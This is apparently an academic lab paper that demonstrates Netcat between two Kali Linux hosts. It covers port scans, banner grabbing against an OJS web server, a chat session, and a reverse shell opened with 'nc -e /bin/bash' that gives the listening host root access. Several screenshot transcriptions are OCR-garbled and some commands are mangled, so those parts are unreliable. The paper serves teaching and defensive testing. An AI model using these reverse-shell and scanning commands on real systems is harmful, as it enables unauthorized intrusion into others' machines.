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1. Introduction

Netcat is a specific network tool that mainly serves for network port
scanning, sending chat messages over the network, data transmitting without the
need for installed FTP server, capturing detailed information about the version
of the locale and remote web server, as well as performing remote exploitation
with reverse shell of victim host.

It is a free of charge tool and by default, this network tool on most Linux
based operating systems is installed and therefore by system administrators,
regular users, students, teachers, etc. can be used. This tool is very similar to the
powerful Nmap port scanner and it can perform a network scan of TCP and
UDP ports to determine whether they are open or closed. Another important
feature of the tool is that no payload needs to be created in order to performed
reverse shell [3,4,6,7,10,12,13,15,18,21,24].

The tool works with a set of commands and options. In this scientific
article, results of the used commands will be presented. The most used options
are related to detailed presentation of network information about the state of
network connections, displaying only the IPv4 addresses, determination of the
range of the scanned TCP and UDP ports, as well as selection of a mode for
constant listening for incoming and outgoing network packets [5,6,7,8,20,23].
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The performed network scans and reverse shells that aim to exploit
confidential information without the host's permission is considered as a crime
and, if proven, is punishable to the full extent of the law of the respective
country [1,2,5,6,9,11,14,16,17,19,22,]. Everything illustrated and explained in
this scientific article is only for research work and educational purposes and the
author is not responsible in cases of abuse.

2. Experiment

In this paper the scientific experiments and research works in a specialized
computer network laboratory in the Faculty of Technical Sciences of the
Konstantin Preslavsky University of Shumen are conducted.

The installed operating system for the two hosts is respectively Kali Linux
- 6.0.0-kali6-amd64 #1 SMP PREEMPT_DYNAMIC Debian 6.0.12-1kalil
(2022-12-19) x86_64 GNU/Linux.

The IPv4 address of the first host is 192.168.80.130 and address of the
second host is 192.168.80.132. The network mask is 24-bit. The addresses of the
two hosts with the command “ifconfig” are presented. These on fig. 1 and 2 are
shown.

2 root@pesho: ~

File Actions Edit View Help

~

eth@: flapgs=4163<IIP.RROANCAST, RUNNING, MULTICAST> mtu 1500
inet 192.168.80.132 |netmask 255.255.255.0 broadcast 192.168.80.255
1NeTb tesu::Zuc:29tt:ife7d:fo5d prefixlen 64 scopeid 0x20<1link>
ether 00:0c:29:7d:f0:5d txqueuelen 1000 (Ethernet)
RX packets 222 bytes 15969 (15.5 KiB)
RX errors 0 dropped @ overruns @ frame 0
TX packets 98 bytes 10338 (10.0 KiB)
TX errors 0 dropped @ overruns @ carrier @ collisions 0

lo: flags=73<UP,LOOPBACK,RUNNING> mtu 65536
inet 127.0.0.1 netmask 255.0.0.0
inet6 ::1 prefixlen 128 scopeid 0x10<host>
loop txqueuelen 1000 (Local Loopback)
RX packets @ bytes 0 (0.0 B)
RX errors @ dropped @ overruns @ frame 0
TX packets 0 bytes 0 (0.0 B)
TX errors @ dropped @ overruns @ carrier @ collisions 0

Fig. 1. Host with address 192.168.80.132/24
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root @kali2: ~
File Actions Edit View Help

ST> mtu 1500
broadcast 192.16

b4 s
0 (Ethernet)
iB)

D collisions @

Fig. 2. Host with address 192.168.80.130/24

3. Results

Fig. 3 shows that the host with address 192.168.80.132 conducts TCP port
scan initially for the first 100 ports and then for all TCP ports. As a result, it
appears that only port 80 is open network state. The Netcat commands are “nc -v
-n -z 192.168.80.130 1-80” and “nc -v -n -z 192.168.80.130 1-65535”
[1,2,4,6,7,10,12,15,16,19,21,22].

Fig. 4. shows that host with address 192.168.80.130 performs port scan
with the network program Nmap for the first 1000 ports and port 3306 and the
results are the same as the previous figure. The used commands are “nmap
192.168.80.130” and “nmap 192.168.80.130 -p 3306 [6,7,10,15,17,19,20].
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It was additionally installed and configured Open Journal System (OJS)
version 3.3.0.7 on the host with IP address 192.168.80.130. The purpose is to
show that there is an apache server and database platform installed. Thus, they
can be scanned with the Netcat network tool in order to get more information
about them. The OJS platform on fig. 5 and 6 is shown. The direct URL link to
the platform is “127.0.0.1/index.php/shumen/login”.

In this regard via the command “printf "GET / HTTP.1.0\r\n\r\n" | nc
192.168.80.130 80” a banner grabbing is performed. With it, the system
administrator can get information about the open ports and services, as well as
which current version of the service is running. The result of this command on
fig. 7 is presented.

The Netcat command “nc -v -u -z 192.168.80.130 1-100” scans only the
first UDP 100 ports on the host with address 192.168.80.130. The results of this
command on fig. 8 and 9 is shown.

d root@pesho: ~

File Actions Edit View Help

~

z 192.168.80.130 1-100
(UNKNOWN) [192.168.80.130] 80 (http) open

~

2 192.168.80.130 1-65535
(UNKNOWN) [192.168.80.130] 80 (http) open

~

Fig. 3. Performed TCP port scan with Netcat commands - “nc -v -n -z
192.168.80.130 1-80” and “nc -v -n -z 192.168.80.130 1-65535”
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. root@kali: -

File Actions Edit View Help

TX errors @ dropped @ overruns @ carrier @ collisions 0

lo: flags=73<UP, LOOPBACK, RUNNING> mtu 65536
inet 127.0.0.1 netmask 255.0.0.0
1neth ::1 prefixlen 128 scopeid 0x10<host>
loop txqueuelen 1000 (Local Loopback)
RX packets 786 bytes 2344216 (2.2 MiB)
RX errors @ dropped @ overruns @ frame @
TX packets 786 bytes 2344216 (2.2 MiB)
TX errors @ dropped @ overruns @ carrier @ collisions @

L

192.168.80.130
Starcivg=mpereyi=(=retps: //omap.org ) at 2023-11-19 21:27 EET
Nmap scan report for 192.168.80.130
Host 15 up (0.000012s latency).
Not shown: 999 closed tcp ports (reset)
PORT  STATE SERVICE
80/tcp open http

Nmap done: 1 IP address (1 host up) scanned in @.36 seconds

L

192.168.80.130 -p 3306
Sta Ty Wilap T 7L Cepa.) ) wwap.0rg ) at 2023-11-19 21:28 EET
Nmap scan report for 192.168.80.130
Host 1s up (0.00013s latency).

PORT STATE SERVICE
3306/tcp closed mysql

Nmap done: 1 IP address (1 host up) scanned in 0.20 seconds

Fig. 4. Performed Nmap network port scan with commands “nmap
192.168.80.130” and “nmap 192.168.80.130 -p 3306
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5] Login | Petar Bayanov - 0J5 — Mozilla Firefox

Login | Petar Boyanov- 0JS X

Q O o 127.001

& C @

Kali Linux g Kali Tools = KaliDocs & Kali Forums o Kali NetHunter % Exploit-DB % Google Hacking DB

Petar Boyanov - 0JS

About the Journal
Submissians
Editorial Team

| Privacy Statement

Username *

Password *

Forgot your password?

[ Keep me loggedin

Register ‘ Lagin |

OffSec

Register

Fig. 5. The login form page for the custom OJS platform

Y Petar Boyanov - 0JS — Mozilla Firefox
Petar Boy:

= Y 0 127001

Kali Linux § Kali Tools @ KaliDocs & Kali s\ Kali NetHunter % Exploit-DB % Google Hacking DB

Petar Boyanov - 0JS

About the Journal

Shumen

Current Issue

Vol.1No. 1(2023): Peshol

Published: 2023-02-16

OffSec

Fig. 6. Successfully logged into the admin profile in the custom OJS platform
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i root@pesho: ~

File Actions Edit View Help
R% errors @ dropped @ overruns @ frame @
TX packets @ bytes @ (0.0 B)
T% errors @ dropped @ overruns @ carrier @ collisions @

'GET / HTTP.1.0\r\n\r\n" 192.168.80.130 80
HTTP/1.1 400 Bad

Connection: close
Content-Type: text/html; charset=1s0-8859-1

YPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN">

Bad Request</title>

'2.4.57 (Debian) Server at 127.0.1.1 Port 80</address:

Fig. 7. The obtained result after execution the command for banner grapping -
“printf "GET / HTTP.1.0\\n\r\n" | nc 192.168.80.130 80~

The command “nc 192.168.80.130 2288” and “nc -lvp 2288” These
commands are used to send chat messages between the both hosts. The first
command on the host with IP address nmap 192.168.80.130 is executed and it
plays the role like listener and the second command on the host with IP address
192.168.80.132 is executed and it plays the role like initiator. The exchanged
text messages are respectively: ,Petar Boyanov, Shumen, 19-11-2023* and
“Test is Ok! Everything works!!!”’. This is shown on fig. 10 and 11.
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File Actions Edit View Help
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Fig. 8. The obtained results after execution the command “nc -v -u -z
192.168.80.130 1-100”
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o root @pesho: ~

File Actions Edit View Help

(UNKNOWN) [192.168.80.130] 5
(UNKNOWN) [192.168.80.130] 5
(UNKNOWN) [192.168.80.130] 5
(UNKNOWN) [192.168.80.130] 5
(UNKNOWN) [192.168.80.130] 5
(UNKNOWN) [192.168.80.130] 5
(UNKNOWN) [192.168.80.130] &
(UNKNOWN) [192.168.80.130] 4
(UNKNOWN) [192.168.80.130] 4
(UNKNOWN) [192.168.80.130] &
(UNKNOWN) [192.168.80.130] 4
(UNKNOWN) [192.168.80.130] &
(UNKNOWN) [192.168.80.130] &
(UNKNOWN) [192.168.80.130] 4
(UNKNOWN) [192.168.80.130] &
(UNKNOWN) [192.168.80.130] 4
(UNKNOWN) [192.168.80.130] 3
(UNKNOWN) [192.168.80.130] 3
(UNKNOWN) [192.168.80.130] 3
( ) [ 13
( ) [ ]3
( ) [ 13
( )il 13
( ) [ 13
( il 13
( )il ]3
( il ]2
( )il ]2
( )il ]2
( ) [ ]2
( ) [ ]2
( )il ]2
( il ]2
( ) [ ]2
( ) [ ]2
( ) [ ]2

5 (?) open
4 (?) open
3 (dopain)
2 (?) open
1 (?) open
0 (?) open
9 (tacacs)
8 (?) open
7 (?) open
6 (?) open
5 (?) open
4 (?) open
3 (?) open
2 (?) open
1 (?) open
0 (?) open
9 (?) open
8 (?) open
7 (tine) open
6 (?) open
5 (?) open
4 (?) open
3 (?) open
2 (?) open
1 (?) open
0 (?) open
9 (?) open
8 (?) open
7 (?) open
6 (?) open
5 (?) open
4 (?) open
3 (?) open
2 (?) open
1 (fsd) open
0 (?) open

UNKNOWN) [192.168.80.130
192.168.80.130
192.168.80.130
192.168.80.130
192.168.80.130
192.168.80.130
192.168.80.130
192.168.80.130
192.168.80.130
192.168.80.130
192.168.80.130
192.168.80.130
192.168.80.130
192.168.80.130
192.168.80.130
192.168.80.130
192.168.80.130

UNKNOWN
UNKNOWN
UNKNOWN
UNKNOWN
UNKNOWN
UNKNOWN
UNKNOWN
UNKNOWN
UNKNOWN
UNKNOWN
UNKNOWN
UNKNOWN
UNKNOWN
UNKNOWN
UNKNOWN
UNKNOWN

Fig. 9. The obtained results after execution the command “nc -v -u -z
192.168.80.130 1-100”
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root@pesho: ~
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UNKNOWN) [192.168.80.130
UNKNOWN) [192.168.80.130

8 (?) open
7 (?) open
6 (?) open
5 (?) open
4 (?) open
3 (daytime) open
2 (?) open
1 (?) open
0 (?) open
LUNKNOWN
UUNKNOWN
LUNKNOWN
LUNKNOWN
LUNKNOWN
LUNKNOWN
UUNKNOWN
UNKNOWN
LUNKNOWN

scard) open
open

ho) open
open
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di
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) open
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)
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1 open
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(
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(
(
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(
(
(

e
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?
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) [
) [
) [
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) [
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UNKNOWN) [192.168.80.130
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) [
) [
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) [
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L

192.168.80.130 2288
Petar Boyanov, Shumen, 19-11-2023

Test 1s Ok! Everything works!!!

Fig. 10. Exchanged chat messages between the host with the first command “nc
192.168.80.130 2288~
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. root@kali2: ~

File Actions Edit View Help

PORT  STATE SERVICE
80/tcp open http

Nmap done: 1 IP address (1 host up) scanned in .36 seconds

i

192,168.80.130 -p 3306
Starting Nmap 7.92 ( https://nmap.org ) at 2023-11-19 21:28 EET
Nmap scan report for 192,168.80.130
Host is up (0.00013s latency).

PORT STATE SERVICE
3306/tcp closed mysql

Nmap done: 1 IP address (1 host up) scanned in .20 seconds

i

192.168.80.130

c -lvp 2288
listening on [any] 2288 ...
192,168.80,132: 1inverse host lookup failed: Unknown host
connect to [192.168.80.130] from (UNKNOWN) [192.168.80.132] 41912
Petar Boyanov, Shumen, 19-11-2023

Test 1s Ok! Everything works!!!

/root/Desktop/nc5_root2.png

i

Fig. 11. Fig. 10. Exchanged chat messages between the host with the second
command “nc -lvp 2288
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L root@pesho: ~

File Actions Edit View Help

~

/bin/bash 192.168.80.130 7788

~

ethd: flags=A1A3¢1ID BRROANCAST RUNNING,MULTICAST> mtu 1500
inet 192.168.80.132 'netmask 255.255.255.0 broadcast 192.168.80.255
1Netb tesu.:uc:yrrife7d:f05d prefixlen 64 scopeid 0x20<link>
ether 00:0c:29:7d:f0:5d txqueuelen 1000 (Ethernet)
RX packets 73882 bytes 4462323 (4.2 MiB)
RX errors @ dropped @ overruns @ frame 0
TX packets 81558 bytes 5910035 (5.6 MiB)
TX errors 0 dropped @ overruns @ carrier @ collisions 0

lo: flags=73<UP,LOOPBACK,RUNNING> mtu 65536
inet 127.0.0.1 netmask 255.0.0.0
inet6 ::1 prefixlen 128 scopeid 0x10<host>
loop txqueuelen 1000 (Local Loopback)
RX packets @ bytes 0 (0.0 B)
RX errors @ dropped @ overruns @ frame 0
TX packets @ bytes 0 (0.0 B)
TX errors @ dropped O overruns @ carrier @ collisions 0

Fig. 12. The executed command for reverse shell on the host with IP address
192.168.80.132

The Netcat command “nc -e /bin/bash 192.168.80.130 7788” for

performing Linux reverse shell is used. It is executed on the host with IP address
192.168.80.132. This is shown on fig. 12. The last Netcat command “nc -Invp
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7788 -5 192.168.80.130” on the host with IP address 192.168.80.132 is executed
and its aim is to perform the final step of reverse shell and in this case the host
with IP address 192.168.80.130 receives full root rights on the host’s machine
with IP address 192.168.80.132. On fig. 13 the following commands are

199 ¢¢ 99 ¢¢

executed: “whoami”, “uname”, “uname -a” and “ifconfig”.

root@kali2: ~

File Actions Edit View Help

Lnvp 7788
listening on [192.1 1788 ...
connect to [192.168.80.130] from (UMKNOWN) [192.168.80.132] 51250

whoami
root

uname
Linux

uname -a
Linux pesho 6.0.0-kali6-amde4 #1 SMP PREEMPT_DYNAMIC Debian 6.2.12-1kalil (2022-12-19) x86_64
GNU/Linux

ifconfig
ethd: flags=4163 (0ADCAS > mtu 1500
inet 19 8¢ .8 broadcast 192.168.80.255
1NELD TELSW AYTT.TESU.TWIL  PIreTlilel D4 SLDPELIU WxZUSLLNK?
F@:5d t len 100@ (Ethernet)
! i 1 (4.2 MiB)
dropped @ overruns @ frame @
ickets 81541 bytes 5907913 (5.6 MiB)
rors @ dropped @ overruns @ carrier @ collisions @

lo: flags=73<UP,LOOPBACK,RUNNING> mtu 65536
inet 0.0.1 netmas 0.0.0
ineth : prefixlen 128 scopeid @=18<host>
loop t uelen 1000 (Local Loopback)
RX 0 bytes @ (0.0 B)
RX errors 0 dropped @ overruns @ frame 0
TX packets @ bytes 0 (0.0 B)
' rors @ dropped 0 overruns @ carrier @ collisions @

Fig. 13. Successfully initialized reverse shell with the command “nc -Invp 7788
-5 192.168.80.130”

4. Conclusion
As a result of these scientific research results, it was found that the network
tool Netcat works very quickly and efficiently and combines a very large
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number of network functions. Thus, any system administrator and university IT
lecturer can use this tool to check for weaknesses and vulnerabilities in the
operating systems of the hosts in the respective local computer network, as well
as to check the security mechanisms and policy implemented on certain public
web servers and hosts. In this regard the exceptionally well-equipped
laboratories at the Faculty of Technical Sciences at the Konstantin Preslavsky
University of Shumen give great opportunities to students majoring in
"Communication and Information Systems", "Computer Technologies in
Automated Manufacturing™ and "Signal Security Systems and Technologies" to
gain extensive theoretical and practical experience in the work with the powerful
network utility - Netcat.
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